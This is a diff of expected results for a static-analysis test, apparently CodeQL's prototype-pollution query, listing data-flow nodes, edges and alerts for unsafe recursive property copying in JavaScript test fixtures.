-| tests.js:552:35:552:37 | src | semmle.label | src |
-| tests.js:553:14:553:16 | key | semmle.label | key |
-| tests.js:557:43:557:45 | src | semmle.label | src |
-| tests.js:557:43:557:50 | src[key] | semmle.label | src[key] |
-| tests.js:559:17:559:19 | key | semmle.label | key |
-| tests.js:559:24:559:26 | src | semmle.label | src |
-| tests.js:559:24:559:31 | src[key] | semmle.label | src[key] |
-| tests.js:559:28:559:30 | key | semmle.label | key |
-| tests.js:564:35:564:37 | src | semmle.label | src |
-| tests.js:565:14:565:16 | key | semmle.label | key |
-| tests.js:569:43:569:45 | src | semmle.label | src |
-| tests.js:569:43:569:50 | src[key] | semmle.label | src[key] |
-| tests.js:571:17:571:19 | key | semmle.label | key |
-| tests.js:571:24:571:26 | src | semmle.label | src |
-| tests.js:571:24:571:31 | src[key] | semmle.label | src[key] |
-| tests.js:571:28:571:30 | key | semmle.label | key |
-| tests.js:576:30:576:32 | src | semmle.label | src |
-| tests.js:577:14:577:16 | key | semmle.label | key |
-| tests.js:580:38:580:40 | src | semmle.label | src |
-| tests.js:580:38:580:45 | src[key] | semmle.label | src[key] |
-| tests.js:582:17:582:19 | key | semmle.label | key |
-| tests.js:582:24:582:26 | src | semmle.label | src |
-| tests.js:582:24:582:31 | src[key] | semmle.label | src[key] |
-| tests.js:582:28:582:30 | key | semmle.label | key |
-| tests.js:591:25:591:27 | obj | semmle.label | obj |
-| tests.js:592:7:592:9 | obj | semmle.label | obj |
-| tests.js:592:21:592:23 | obj | semmle.label | obj |
-| tests.js:593:10:593:12 | obj | semmle.label | obj |
-| tests.js:600:31:600:34 | dest | semmle.label | dest |
-| tests.js:600:37:600:42 | source | semmle.label | source |
-| tests.js:601:16:601:18 | key | semmle.label | key |
-| tests.js:603:34:603:37 | dest | semmle.label | dest |
-| tests.js:603:34:603:42 | dest[key] | semmle.label | dest[key] |
-| tests.js:603:39:603:41 | key | semmle.label | key |
-| tests.js:603:45:603:50 | source | semmle.label | source |
-| tests.js:603:45:603:55 | source[key] | semmle.label | source[key] |
-| tests.js:603:52:603:54 | key | semmle.label | key |
-| tests.js:605:13:605:16 | dest | semmle.label | dest |
-| tests.js:605:18:605:20 | key | semmle.label | key |
-| tests.js:605:25:605:51 | capture ... e[key]) | semmle.label | capture ... e[key]) |
-| tests.js:605:40:605:45 | source | semmle.label | source |
-| tests.js:605:40:605:50 | source[key] | semmle.label | source[key] |
-| tests.js:605:47:605:49 | key | semmle.label | key |
+#select
+| examples/PrototypePollutingFunction.js:7:13:7:15 | dst | examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | examples/PrototypePollutingFunction.js:2:21:2:23 | src | src | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | dst |
+| path-assignment.js:15:13:15:18 | target | path-assignment.js:8:19:8:25 | keys[i] | path-assignment.js:15:13:15:18 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:8:19:8:25 | keys[i] | here | path-assignment.js:15:13:15:18 | target | target |
+| path-assignment.js:44:5:44:10 | target | path-assignment.js:41:19:41:25 | keys[i] | path-assignment.js:44:5:44:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:41:19:41:25 | keys[i] | here | path-assignment.js:44:5:44:10 | target | target |
+| path-assignment.js:61:5:61:10 | target | path-assignment.js:58:19:58:25 | keys[i] | path-assignment.js:61:5:61:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:58:19:58:25 | keys[i] | here | path-assignment.js:61:5:61:10 | target | target |
+| path-assignment.js:71:5:71:10 | target | path-assignment.js:68:19:68:25 | keys[i] | path-assignment.js:71:5:71:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:68:19:68:25 | keys[i] | here | path-assignment.js:71:5:71:10 | target | target |
+| tests.js:8:13:8:15 | dst | tests.js:4:14:4:16 | key | tests.js:8:13:8:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:4:21:4:23 | src | src | tests.js:8:13:8:15 | dst | dst |
+| tests.js:18:13:18:15 | dst | tests.js:14:30:14:32 | key | tests.js:18:13:18:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:14:17:14:19 | src | src | tests.js:18:13:18:15 | dst | dst |
+| tests.js:36:9:36:11 | dst | tests.js:25:18:25:20 | key | tests.js:36:9:36:11 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:25:25:25:30 | source | source | tests.js:36:9:36:11 | dst | dst |
+| tests.js:46:13:46:15 | dst | tests.js:41:14:41:16 | key | tests.js:46:13:46:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:41:21:41:23 | src | src | tests.js:46:13:46:15 | dst | dst |
+| tests.js:57:13:57:15 | dst | tests.js:52:14:52:16 | key | tests.js:57:13:57:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:52:21:52:23 | src | src | tests.js:57:13:57:15 | dst | dst |
+| tests.js:109:13:109:15 | dst | tests.js:102:14:102:16 | key | tests.js:109:13:109:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:102:21:102:23 | src | src | tests.js:109:13:109:15 | dst | dst |
+| tests.js:154:13:154:15 | dst | tests.js:150:14:150:16 | key | tests.js:154:13:154:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:150:21:150:23 | src | src | tests.js:154:13:154:15 | dst | dst |
+| tests.js:196:13:196:15 | dst | tests.js:192:19:192:25 | keys[i] | tests.js:196:13:196:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:190:28:190:30 | src | src | tests.js:196:13:196:15 | dst | dst |
+| tests.js:233:5:233:13 | map[key1] | tests.js:238:14:238:16 | key | tests.js:233:5:233:13 | map[key1] | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:238:21:238:24 | data | data | tests.js:233:5:233:13 | map[key1] | here |
+| tests.js:270:13:270:15 | dst | tests.js:265:19:265:26 | entry[0] | tests.js:270:13:270:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:264:20:264:22 | src | src | tests.js:270:13:270:15 | dst | dst |
+| tests.js:280:13:280:15 | dst | tests.js:276:34:276:36 | key | tests.js:280:13:280:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:276:21:276:23 | src | src | tests.js:280:13:280:15 | dst | dst |
+| tests.js:308:17:308:19 | dst | tests.js:302:14:302:16 | key | tests.js:308:17:308:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:302:21:302:23 | src | src | tests.js:308:17:308:19 | dst | dst |
+| tests.js:322:17:322:19 | dst | tests.js:315:14:315:16 | key | tests.js:322:17:322:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:315:21:315:23 | src | src | tests.js:322:17:322:19 | dst | dst |
+| tests.js:338:17:338:19 | dst | tests.js:329:14:329:16 | key | tests.js:338:17:338:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:329:21:329:23 | src | src | tests.js:338:17:338:19 | dst | dst |
+| tests.js:357:17:357:22 | target | tests.js:350:37:350:39 | key | tests.js:357:17:357:22 | target | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:350:21:350:26 | source | source | tests.js:357:17:357:22 | target | target |
+| tests.js:403:13:403:15 | dst | tests.js:381:14:381:16 | key | tests.js:403:13:403:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:381:21:381:23 | obj | obj | tests.js:403:13:403:15 | dst | dst |
+| tests.js:419:13:419:15 | dst | tests.js:413:14:413:16 | key | tests.js:419:13:419:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:413:21:413:23 | src | src | tests.js:419:13:419:15 | dst | dst |
+| tests.js:436:13:436:15 | dst | tests.js:430:14:430:16 | key | tests.js:436:13:436:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:430:21:430:23 | src | src | tests.js:436:13:436:15 | dst | dst |
+| tests.js:465:30:465:32 | dst | tests.js:460:25:460:27 | key | tests.js:465:30:465:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:460:12:460:14 | src | src | tests.js:465:30:465:32 | dst | dst |
+| tests.js:466:30:466:32 | dst | tests.js:460:25:460:27 | key | tests.js:466:30:466:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:460:12:460:14 | src | src | tests.js:466:30:466:32 | dst | dst |
+| tests.js:467:30:467:32 | dst | tests.js:460:25:460:27 | key | tests.js:467:30:467:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:460:12:460:14 | src | src | tests.js:467:30:467:32 | dst | dst |
+| tests.js:477:13:477:15 | dst | tests.js:473:25:473:27 | key | tests.js:477:13:477:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:473:12:473:14 | src | src | tests.js:477:13:477:15 | dst | dst |
+| tests.js:489:13:489:15 | dst | tests.js:484:14:484:16 | key | tests.js:489:13:489:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:484:21:484:23 | src | src | tests.js:489:13:489:15 | dst | dst |
+| tests.js:517:35:517:37 | dst | tests.js:511:19:511:25 | keys[i] | tests.js:517:35:517:37 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:509:28:509:30 | src | src | tests.js:517:35:517:37 | dst | dst |
+| tests.js:529:13:529:15 | dst | tests.js:525:14:525:16 | key | tests.js:529:13:529:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:525:21:525:23 | src | src | tests.js:529:13:529:15 | dst | dst |
+| tests.js:547:13:547:15 | dst | tests.js:538:18:538:24 | keys[i] | tests.js:547:13:547:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:535:30:535:32 | obj | obj | tests.js:547:13:547:15 | dst | dst |
+| tests.js:605:13:605:16 | dest | tests.js:601:16:601:18 | key | tests.js:605:13:605:16 | dest | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:601:35:601:40 | source | source | tests.js:605:13:605:16 | dest | dest |
 edges
 | examples/PrototypePollutingFunction.js:1:16:1:18 | dst | examples/PrototypePollutingFunction.js:5:19:5:21 | dst | provenance |  |
 | examples/PrototypePollutingFunction.js:1:16:1:18 | dst | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | provenance |  |
@@ -1368,6 +748,659 @@ edges
 | tests.js:605:40:605:50 | source[key] | tests.js:591:25:591:27 | obj | provenance |  |
 | tests.js:605:40:605:50 | source[key] | tests.js:605:25:605:51 | capture ... e[key]) | provenance |  |
 | tests.js:605:47:605:49 | key | tests.js:605:40:605:50 | source[key] | provenance | Config |
+nodes
+| examples/PrototypePollutingFunction.js:1:16:1:18 | dst | semmle.label | dst |
+| examples/PrototypePollutingFunction.js:1:21:1:23 | src | semmle.label | src |
+| examples/PrototypePollutingFunction.js:2:14:2:16 | key | semmle.label | key |
+| examples/PrototypePollutingFunction.js:5:19:5:21 | dst | semmle.label | dst |
+| examples/PrototypePollutingFunction.js:5:19:5:26 | dst[key] | semmle.label | dst[key] |
+| examples/PrototypePollutingFunction.js:5:23:5:25 | key | semmle.label | key |
+| examples/PrototypePollutingFunction.js:5:29:5:31 | src | semmle.label | src |
+| examples/PrototypePollutingFunction.js:5:29:5:36 | src[key] | semmle.label | src[key] |
+| examples/PrototypePollutingFunction.js:5:33:5:35 | key | semmle.label | key |
+| examples/PrototypePollutingFunction.js:7:13:7:15 | dst | semmle.label | dst |
+| examples/PrototypePollutingFunction.js:7:17:7:19 | key | semmle.label | key |
+| examples/PrototypePollutingFunction.js:7:24:7:26 | src | semmle.label | src |
+| examples/PrototypePollutingFunction.js:7:24:7:31 | src[key] | semmle.label | src[key] |
+| examples/PrototypePollutingFunction.js:7:28:7:30 | key | semmle.label | key |
+| examples/PrototypePollutingFunction_fixed2.js:1:21:1:23 | src | semmle.label | src |
+| examples/PrototypePollutingFunction_fixed2.js:6:29:6:31 | src | semmle.label | src |
+| examples/PrototypePollutingFunction_fixed2.js:6:29:6:36 | src[key] | semmle.label | src[key] |
+| examples/PrototypePollutingFunction_fixed2.js:8:24:8:26 | src | semmle.label | src |
+| examples/PrototypePollutingFunction_fixed2.js:8:24:8:31 | src[key] | semmle.label | src[key] |
+| examples/PrototypePollutingFunction_fixed.js:1:21:1:23 | src | semmle.label | src |
+| examples/PrototypePollutingFunction_fixed.js:2:14:2:16 | key | semmle.label | key |
+| examples/PrototypePollutingFunction_fixed.js:5:29:5:31 | src | semmle.label | src |
+| examples/PrototypePollutingFunction_fixed.js:5:29:5:36 | src[key] | semmle.label | src[key] |
+| examples/PrototypePollutingFunction_fixed.js:7:17:7:19 | key | semmle.label | key |
+| examples/PrototypePollutingFunction_fixed.js:7:24:7:26 | src | semmle.label | src |
+| examples/PrototypePollutingFunction_fixed.js:7:24:7:31 | src[key] | semmle.label | src[key] |
+| examples/PrototypePollutingFunction_fixed.js:7:28:7:30 | key | semmle.label | key |
+| path-assignment.js:8:13:8:25 | key | semmle.label | key |
+| path-assignment.js:8:19:8:25 | keys[i] | semmle.label | keys[i] |
+| path-assignment.js:13:13:13:32 | target | semmle.label | target |
+| path-assignment.js:13:22:13:27 | target | semmle.label | target |
+| path-assignment.js:13:22:13:32 | target[key] | semmle.label | target[key] |
+| path-assignment.js:13:29:13:31 | key | semmle.label | key |
+| path-assignment.js:15:13:15:18 | target | semmle.label | target |
+| path-assignment.js:15:20:15:22 | key | semmle.label | key |
+| path-assignment.js:41:13:41:25 | key | semmle.label | key |
+| path-assignment.js:41:19:41:25 | keys[i] | semmle.label | keys[i] |
+| path-assignment.js:42:9:42:48 | target | semmle.label | target |
+| path-assignment.js:42:18:42:23 | target | semmle.label | target |
+| path-assignment.js:42:25:42:27 | key | semmle.label | key |
+| path-assignment.js:42:32:42:37 | target | semmle.label | target |
+| path-assignment.js:42:32:42:42 | target[key] | semmle.label | target[key] |
+| path-assignment.js:42:32:42:48 | target[key] \|\| {} | semmle.label | target[key] \|\| {} |
+| path-assignment.js:42:39:42:41 | key | semmle.label | key |
+| path-assignment.js:44:5:44:10 | target | semmle.label | target |
+| path-assignment.js:44:12:44:18 | keys[i] | semmle.label | keys[i] |
+| path-assignment.js:58:13:58:25 | key | semmle.label | key |
+| path-assignment.js:58:19:58:25 | keys[i] | semmle.label | keys[i] |
+| path-assignment.js:59:9:59:48 | target | semmle.label | target |
+| path-assignment.js:59:18:59:23 | target | semmle.label | target |
+| path-assignment.js:59:25:59:27 | key | semmle.label | key |
+| path-assignment.js:59:32:59:37 | target | semmle.label | target |
+| path-assignment.js:59:32:59:42 | target[key] | semmle.label | target[key] |
+| path-assignment.js:59:32:59:48 | target[key] \|\| {} | semmle.label | target[key] \|\| {} |
+| path-assignment.js:59:39:59:41 | key | semmle.label | key |
+| path-assignment.js:61:5:61:10 | target | semmle.label | target |
+| path-assignment.js:61:12:61:18 | keys[i] | semmle.label | keys[i] |
+| path-assignment.js:68:13:68:25 | key | semmle.label | key |
+| path-assignment.js:68:19:68:25 | keys[i] | semmle.label | keys[i] |
+| path-assignment.js:69:9:69:48 | target | semmle.label | target |
+| path-assignment.js:69:18:69:23 | target | semmle.label | target |
+| path-assignment.js:69:25:69:27 | key | semmle.label | key |
+| path-assignment.js:69:32:69:37 | target | semmle.label | target |
+| path-assignment.js:69:32:69:42 | target[key] | semmle.label | target[key] |
+| path-assignment.js:69:32:69:48 | target[key] \|\| {} | semmle.label | target[key] \|\| {} |
+| path-assignment.js:69:39:69:41 | key | semmle.label | key |
+| path-assignment.js:71:5:71:10 | target | semmle.label | target |
+| path-assignment.js:71:12:71:18 | keys[i] | semmle.label | keys[i] |
+| tests.js:3:25:3:27 | dst | semmle.label | dst |
+| tests.js:3:30:3:32 | src | semmle.label | src |
+| tests.js:4:14:4:16 | key | semmle.label | key |
+| tests.js:6:28:6:30 | dst | semmle.label | dst |
+| tests.js:6:28:6:35 | dst[key] | semmle.label | dst[key] |
+| tests.js:6:32:6:34 | key | semmle.label | key |
+| tests.js:6:38:6:40 | src | semmle.label | src |
+| tests.js:6:38:6:45 | src[key] | semmle.label | src[key] |
+| tests.js:6:42:6:44 | key | semmle.label | key |
+| tests.js:8:13:8:15 | dst | semmle.label | dst |
+| tests.js:8:17:8:19 | key | semmle.label | key |
+| tests.js:8:24:8:26 | src | semmle.label | src |
+| tests.js:8:24:8:31 | src[key] | semmle.label | src[key] |
+| tests.js:8:28:8:30 | key | semmle.label | key |
+| tests.js:13:24:13:26 | dst | semmle.label | dst |
+| tests.js:13:29:13:31 | src | semmle.label | src |
+| tests.js:14:17:14:19 | src | semmle.label | src |
+| tests.js:14:30:14:32 | key | semmle.label | key |
+| tests.js:16:27:16:29 | dst | semmle.label | dst |
+| tests.js:16:27:16:34 | dst[key] | semmle.label | dst[key] |
+| tests.js:16:31:16:33 | key | semmle.label | key |
+| tests.js:16:37:16:39 | src | semmle.label | src |
+| tests.js:16:37:16:44 | src[key] | semmle.label | src[key] |
+| tests.js:16:41:16:43 | key | semmle.label | key |
+| tests.js:18:13:18:15 | dst | semmle.label | dst |
+| tests.js:18:17:18:19 | key | semmle.label | key |
+| tests.js:18:24:18:26 | src | semmle.label | src |
+| tests.js:18:24:18:31 | src[key] | semmle.label | src[key] |
+| tests.js:18:28:18:30 | key | semmle.label | key |
+| tests.js:23:19:23:21 | dst | semmle.label | dst |
+| tests.js:23:27:23:33 | sources [0] | semmle.label | sources [0] |
+| tests.js:24:14:24:19 | source | semmle.label | source |
+| tests.js:24:24:24:30 | sources [0] | semmle.label | sources [0] |
+| tests.js:25:18:25:20 | key | semmle.label | key |
+| tests.js:26:25:26:27 | dst | semmle.label | dst |
+| tests.js:26:30:26:35 | source | semmle.label | source |
+| tests.js:26:30:26:40 | source[key] | semmle.label | source[key] |
+| tests.js:26:37:26:39 | key | semmle.label | key |
+| tests.js:26:43:26:45 | key | semmle.label | key |
+| tests.js:31:22:31:24 | dst | semmle.label | dst |
+| tests.js:31:27:31:31 | value | semmle.label | value |
+| tests.js:31:34:31:36 | key | semmle.label | key |
+| tests.js:32:9:32:27 | dstValue | semmle.label | dstValue |
+| tests.js:32:20:32:22 | dst | semmle.label | dst |
+| tests.js:32:20:32:27 | dst[key] | semmle.label | dst[key] |
+| tests.js:32:24:32:26 | key | semmle.label | key |
+| tests.js:34:18:34:25 | dstValue | semmle.label | dstValue |
+| tests.js:34:28:34:32 | value | semmle.label | value |
+| tests.js:36:9:36:11 | dst | semmle.label | dst |
+| tests.js:36:13:36:15 | key | semmle.label | key |
+| tests.js:36:20:36:24 | value | semmle.label | value |
+| tests.js:40:27:40:29 | dst | semmle.label | dst |
+| tests.js:40:32:40:34 | src | semmle.label | src |
+| tests.js:41:14:41:16 | key | semmle.label | key |
+| tests.js:44:30:44:32 | dst | semmle.label | dst |
+| tests.js:44:30:44:37 | dst[key] | semmle.label | dst[key] |
+| tests.js:44:34:44:36 | key | semmle.label | key |
+| tests.js:44:40:44:42 | src | semmle.label | src |
+| tests.js:44:40:44:47 | src[key] | semmle.label | src[key] |
+| tests.js:44:44:44:46 | key | semmle.label | key |
+| tests.js:46:13:46:15 | dst | semmle.label | dst |
+| tests.js:46:17:46:19 | key | semmle.label | key |
+| tests.js:46:24:46:26 | src | semmle.label | src |
+| tests.js:46:24:46:31 | src[key] | semmle.label | src[key] |
+| tests.js:46:28:46:30 | key | semmle.label | key |
+| tests.js:51:26:51:28 | dst | semmle.label | dst |
+| tests.js:51:31:51:33 | src | semmle.label | src |
+| tests.js:52:14:52:16 | key | semmle.label | key |
+| tests.js:55:29:55:31 | dst | semmle.label | dst |
+| tests.js:55:29:55:36 | dst[key] | semmle.label | dst[key] |
+| tests.js:55:33:55:35 | key | semmle.label | key |
+| tests.js:55:39:55:41 | src | semmle.label | src |
+| tests.js:55:39:55:46 | src[key] | semmle.label | src[key] |
+| tests.js:55:43:55:45 | key | semmle.label | key |
+| tests.js:57:13:57:15 | dst | semmle.label | dst |
+| tests.js:57:17:57:19 | key | semmle.label | key |
+| tests.js:57:24:57:26 | src | semmle.label | src |
+| tests.js:57:24:57:31 | src[key] | semmle.label | src[key] |
+| tests.js:57:28:57:30 | key | semmle.label | key |
+| tests.js:62:33:62:35 | src | semmle.label | src |
+| tests.js:66:41:66:43 | src | semmle.label | src |
+| tests.js:66:41:66:48 | src[key] | semmle.label | src[key] |
+| tests.js:68:24:68:26 | src | semmle.label | src |
+| tests.js:68:24:68:31 | src[key] | semmle.label | src[key] |
+| tests.js:77:27:77:29 | src | semmle.label | src |
+| tests.js:81:39:81:41 | src | semmle.label | src |
+| tests.js:81:39:81:46 | src[key] | semmle.label | src[key] |
+| tests.js:83:28:83:30 | src | semmle.label | src |
+| tests.js:83:28:83:35 | src[key] | semmle.label | src[key] |
+| tests.js:89:34:89:36 | src | semmle.label | src |
+| tests.js:90:14:90:16 | key | semmle.label | key |
+| tests.js:94:42:94:44 | src | semmle.label | src |
+| tests.js:94:42:94:49 | src[key] | semmle.label | src[key] |
+| tests.js:96:17:96:19 | key | semmle.label | key |
+| tests.js:96:24:96:26 | src | semmle.label | src |
+| tests.js:96:24:96:31 | src[key] | semmle.label | src[key] |
+| tests.js:96:28:96:30 | key | semmle.label | key |
+| tests.js:101:32:101:34 | dst | semmle.label | dst |
+| tests.js:101:37:101:39 | src | semmle.label | src |
+| tests.js:102:14:102:16 | key | semmle.label | key |
+| tests.js:107:35:107:37 | dst | semmle.label | dst |
+| tests.js:107:35:107:42 | dst[key] | semmle.label | dst[key] |
+| tests.js:107:39:107:41 | key | semmle.label | key |
+| tests.js:107:45:107:47 | src | semmle.label | src |
+| tests.js:107:45:107:52 | src[key] | semmle.label | src[key] |
+| tests.js:107:49:107:51 | key | semmle.label | key |
+| tests.js:109:13:109:15 | dst | semmle.label | dst |
+| tests.js:109:17:109:19 | key | semmle.label | key |
+| tests.js:109:24:109:26 | src | semmle.label | src |
+| tests.js:109:24:109:31 | src[key] | semmle.label | src[key] |
+| tests.js:109:28:109:30 | key | semmle.label | key |
+| tests.js:116:41:116:43 | src | semmle.label | src |
+| tests.js:117:14:117:16 | key | semmle.label | key |
+| tests.js:119:49:119:51 | src | semmle.label | src |
+| tests.js:119:49:119:56 | src[key] | semmle.label | src[key] |
+| tests.js:121:17:121:19 | key | semmle.label | key |
+| tests.js:121:24:121:26 | src | semmle.label | src |
+| tests.js:121:24:121:31 | src[key] | semmle.label | src[key] |
+| tests.js:121:28:121:30 | key | semmle.label | key |
+| tests.js:149:31:149:33 | dst | semmle.label | dst |
+| tests.js:149:36:149:38 | src | semmle.label | src |
+| tests.js:150:14:150:16 | key | semmle.label | key |
+| tests.js:152:22:152:24 | dst | semmle.label | dst |
+| tests.js:152:27:152:29 | src | semmle.label | src |
+| tests.js:152:32:152:34 | key | semmle.label | key |
+| tests.js:154:13:154:15 | dst | semmle.label | dst |
+| tests.js:154:17:154:19 | key | semmle.label | key |
+| tests.js:154:24:154:26 | src | semmle.label | src |
+| tests.js:154:24:154:31 | src[key] | semmle.label | src[key] |
+| tests.js:154:28:154:30 | key | semmle.label | key |
+| tests.js:159:36:159:38 | dst | semmle.label | dst |
+| tests.js:159:41:159:43 | src | semmle.label | src |
+| tests.js:160:26:160:28 | dst | semmle.label | dst |
+| tests.js:160:31:160:33 | src | semmle.label | src |
+| tests.js:160:37:160:39 | dst | semmle.label | dst |
+| tests.js:160:42:160:44 | src | semmle.label | src |
+| tests.js:160:47:160:49 | key | semmle.label | key |
+| tests.js:161:35:161:37 | dst | semmle.label | dst |
+| tests.js:161:35:161:42 | dst[key] | semmle.label | dst[key] |
+| tests.js:161:39:161:41 | key | semmle.label | key |
+| tests.js:161:45:161:47 | src | semmle.label | src |
+| tests.js:161:45:161:52 | src[key] | semmle.label | src[key] |
+| tests.js:161:49:161:51 | key | semmle.label | key |
+| tests.js:165:37:165:39 | src | semmle.label | src |
+| tests.js:166:14:166:16 | key | semmle.label | key |
+| tests.js:169:45:169:47 | src | semmle.label | src |
+| tests.js:169:45:169:52 | src[key] | semmle.label | src[key] |
+| tests.js:169:49:169:51 | key | semmle.label | key |
+| tests.js:171:17:171:19 | key | semmle.label | key |
+| tests.js:171:24:171:26 | src | semmle.label | src |
+| tests.js:171:24:171:31 | src[key] | semmle.label | src[key] |
+| tests.js:171:28:171:30 | key | semmle.label | key |
+| tests.js:178:33:178:35 | src | semmle.label | src |
+| tests.js:182:41:182:43 | src | semmle.label | src |
+| tests.js:182:41:182:48 | src[key] | semmle.label | src[key] |
+| tests.js:184:24:184:26 | src | semmle.label | src |
+| tests.js:184:24:184:31 | src[key] | semmle.label | src[key] |
+| tests.js:189:32:189:34 | dst | semmle.label | dst |
+| tests.js:189:37:189:39 | src | semmle.label | src |
+| tests.js:192:13:192:25 | key | semmle.label | key |
+| tests.js:192:19:192:25 | keys[i] | semmle.label | keys[i] |
+| tests.js:194:35:194:37 | dst | semmle.label | dst |
+| tests.js:194:35:194:42 | dst[key] | semmle.label | dst[key] |
+| tests.js:194:39:194:41 | key | semmle.label | key |
+| tests.js:194:45:194:47 | src | semmle.label | src |
+| tests.js:194:45:194:52 | src[key] | semmle.label | src[key] |
+| tests.js:194:49:194:51 | key | semmle.label | key |
+| tests.js:196:13:196:15 | dst | semmle.label | dst |
+| tests.js:196:17:196:19 | key | semmle.label | key |
+| tests.js:196:24:196:26 | src | semmle.label | src |
+| tests.js:196:24:196:31 | src[key] | semmle.label | src[key] |
+| tests.js:196:28:196:30 | key | semmle.label | key |
+| tests.js:201:39:201:41 | dst | semmle.label | dst |
+| tests.js:201:44:201:46 | src | semmle.label | src |
+| tests.js:206:42:206:44 | dst | semmle.label | dst |
+| tests.js:206:42:206:53 | dst[keys[i]] | semmle.label | dst[keys[i]] |
+| tests.js:206:46:206:52 | keys[i] | semmle.label | keys[i] |
+| tests.js:206:56:206:58 | src | semmle.label | src |
+| tests.js:206:56:206:67 | src[keys[i]] | semmle.label | src[keys[i]] |
+| tests.js:206:60:206:66 | keys[i] | semmle.label | keys[i] |
+| tests.js:208:13:208:15 | dst | semmle.label | dst |
+| tests.js:208:17:208:23 | keys[i] | semmle.label | keys[i] |
+| tests.js:208:28:208:30 | src | semmle.label | src |
+| tests.js:208:28:208:39 | src[keys[i]] | semmle.label | src[keys[i]] |
+| tests.js:208:32:208:38 | keys[i] | semmle.label | keys[i] |
+| tests.js:213:23:213:26 | key1 | semmle.label | key1 |
+| tests.js:213:29:213:32 | key2 | semmle.label | key2 |
+| tests.js:213:35:213:39 | value | semmle.label | value |
+| tests.js:217:5:217:13 | map[key1] | semmle.label | map[key1] |
+| tests.js:217:9:217:12 | key1 | semmle.label | key1 |
+| tests.js:217:15:217:18 | key2 | semmle.label | key2 |
+| tests.js:217:23:217:27 | value | semmle.label | value |
+| tests.js:223:14:223:16 | key | semmle.label | key |
+| tests.js:224:23:224:25 | key | semmle.label | key |
+| tests.js:224:33:224:41 | data[key] | semmle.label | data[key] |
+| tests.js:224:38:224:40 | key | semmle.label | key |
+| tests.js:225:28:225:30 | key | semmle.label | key |
+| tests.js:225:33:225:41 | data[key] | semmle.label | data[key] |
+| tests.js:225:38:225:40 | key | semmle.label | key |
+| tests.js:229:26:229:29 | key1 | semmle.label | key1 |
+| tests.js:229:32:229:35 | key2 | semmle.label | key2 |
+| tests.js:229:38:229:42 | value | semmle.label | value |
+| tests.js:233:5:233:13 | map[key1] | semmle.label | map[key1] |
+| tests.js:233:9:233:12 | key1 | semmle.label | key1 |
+| tests.js:233:15:233:18 | key2 | semmle.label | key2 |
+| tests.js:233:23:233:27 | value | semmle.label | value |
+| tests.js:238:14:238:16 | key | semmle.label | key |
+| tests.js:239:24:239:26 | key | semmle.label | key |
+| tests.js:239:34:239:42 | data[key] | semmle.label | data[key] |
+| tests.js:239:39:239:41 | key | semmle.label | key |
+| tests.js:240:31:240:33 | key | semmle.label | key |
+| tests.js:240:36:240:44 | data[key] | semmle.label | data[key] |
+| tests.js:240:41:240:43 | key | semmle.label | key |
+| tests.js:263:27:263:29 | dst | semmle.label | dst |
+| tests.js:265:13:265:26 | key | semmle.label | key |
+| tests.js:265:19:265:26 | entry[0] | semmle.label | entry[0] |
+| tests.js:266:13:266:28 | value | semmle.label | value |
+| tests.js:266:21:266:28 | entry[1] | semmle.label | entry[1] |
+| tests.js:268:30:268:32 | dst | semmle.label | dst |
+| tests.js:268:30:268:37 | dst[key] | semmle.label | dst[key] |
+| tests.js:268:34:268:36 | key | semmle.label | key |
+| tests.js:270:13:270:15 | dst | semmle.label | dst |
+| tests.js:270:17:270:19 | key | semmle.label | key |
+| tests.js:270:24:270:28 | value | semmle.label | value |
+| tests.js:275:27:275:29 | dst | semmle.label | dst |
+| tests.js:275:32:275:34 | src | semmle.label | src |
+| tests.js:276:21:276:23 | src | semmle.label | src |
+| tests.js:276:34:276:36 | key | semmle.label | key |
+| tests.js:278:30:278:32 | dst | semmle.label | dst |
+| tests.js:278:30:278:37 | dst[key] | semmle.label | dst[key] |
+| tests.js:278:34:278:36 | key | semmle.label | key |
+| tests.js:278:40:278:42 | src | semmle.label | src |
+| tests.js:278:40:278:47 | src[key] | semmle.label | src[key] |
+| tests.js:278:44:278:46 | key | semmle.label | key |
+| tests.js:280:13:280:15 | dst | semmle.label | dst |
+| tests.js:280:17:280:19 | key | semmle.label | key |
+| tests.js:280:24:280:26 | src | semmle.label | src |
+| tests.js:280:24:280:31 | src[key] | semmle.label | src[key] |
